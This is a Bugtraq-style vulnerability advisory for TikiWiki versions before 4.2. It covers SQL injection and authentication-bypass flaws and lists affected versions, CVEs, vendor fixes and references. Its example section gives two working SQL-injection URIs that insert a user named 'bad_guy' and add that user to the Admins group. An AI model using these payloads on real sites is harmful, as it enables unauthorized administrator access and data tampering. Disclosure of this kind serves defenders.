TikiWiki Versions Prior to 4.2 Multiple Vulnerabilities

Bugtraq ID:	38608
Class:	Unknown
CVE:	CVE-2010-1135 CVE-2010-1134 CVE-2010-1136 CVE-2010-1133
Remote:	Yes
Local:	No
Published:	Mar 09 2010 12:00AM
Updated:	Apr 13 2015 09:02PM
Credit:	Mateusz Drygas and the vendor
Vulnerable:	TikiWiki Project TikiWiki 1.9.10 TikiWiki Project TikiWiki 1.9.9 TikiWiki Project TikiWiki 1.9.8 1 TikiWiki Project TikiWiki 1.9.8 TikiWiki Project TikiWiki 1.9.7 TikiWiki Project TikiWiki 1.9.6 TikiWiki Project TikiWiki 1.9.5 TikiWiki Project TikiWiki 1.9.4 TikiWiki Project TikiWiki 1.9.3 1 TikiWiki Project TikiWiki 1.9.2 TikiWiki Project TikiWiki 1.9.1 .1 TikiWiki Project TikiWiki 1.9.1 TikiWiki Project TikiWiki 1.9 -rc3.1 TikiWiki Project TikiWiki 1.9 -rc3 TikiWiki Project TikiWiki 1.9 -rc2 TikiWiki Project TikiWiki 1.9 -rc1 TikiWiki Project TikiWiki 1.8.5 TikiWiki Project TikiWiki 1.8.4 + Gentoo Linux TikiWiki Project TikiWiki 1.8.3 TikiWiki Project TikiWiki 1.8.2 TikiWiki Project TikiWiki 1.8.1 TikiWiki Project TikiWiki 1.8 TikiWiki Project TikiWiki 1.7.9 TikiWiki Project TikiWiki 1.7.8 TikiWiki Project TikiWiki 1.7.7 TikiWiki Project TikiWiki 1.7.6 TikiWiki Project TikiWiki 1.7.5 TikiWiki Project TikiWiki 1.7.4 TikiWiki Project TikiWiki 1.7.3 TikiWiki Project TikiWiki 1.7.2 TikiWiki Project TikiWiki 1.7.1 .1 TikiWiki Project TikiWiki 1.6.1 TikiWiki Project TikiWiki 4.1 TikiWiki Project TikiWiki 4.0 TikiWiki Project TikiWiki 3.4 TikiWiki Project TikiWiki 3.0 BETA1 TikiWiki Project TikiWiki 2.2 TikiWiki Project TikiWiki 2.1 TikiWiki Project TikiWiki 2.0 TikiWiki Project TikiWiki 1.9.8.3 TikiWiki Project TikiWiki 1.9.8.2 TikiWiki Project TikiWiki 1.9.3.2 TikiWiki Project TikiWiki 1.9.10.1
Not Vulnerable:	TikiWiki Project TikiWiki 4.2 TikiWiki Project TikiWiki 3.5

TikiWiki Versions Prior to 4.2 Multiple Vulnerabilities

TikiWiki is prone to multiple vulnerabilities, including:

- An SQL-injection vulnerability
- An unspecified authentication-bypass vulnerability
- An unspecified vulnerability

Exploiting these issues could allow an attacker to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and gain unauthorized access to the affected application. Other attacks are also possible.

Versions prior to TikiWiki 4.2 are vulnerable.

TikiWiki Versions Prior to 4.2 Multiple Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/tiki-searchresults.php?highlight=misja&date=1 month)); INSERT INTO users_users(email,login,password,hash) VALUES ('','bad_guy','lsjfsofasgfs',md5('lsjfsofasgfslsjfsofasgfs'));;--&search=>>
http://www.example.com/tiki-searchresults.php?highlight=misja&date=1 month)); INSERT INTO users_usergroups (`userId`, `groupName`) VALUES([user_id],'Admins');;--&search=>>

TikiWiki Versions Prior to 4.2 Multiple Vulnerabilities

Solution:
The vendor has released an advisory and fixes. Please see the references for details.

TikiWiki Versions Prior to 4.2 Multiple Vulnerabilities

References:

• Revision 24734 (TiKiWiki Project)
  
• Revision 25046 (TiKiWiki Project)
  
• Revision 25424 (TiKiWiki Project)
  
• Revision 25435 (TiKiWiki Project)
  
• Tiki Announces 3.5 and 4.2 Releases (TiKiWiki Project)
  
• TikiWiki Homepage (TikiWiki)
  
• TikiWiki portal SQL-injection vulnerability (Mateusz Drygas)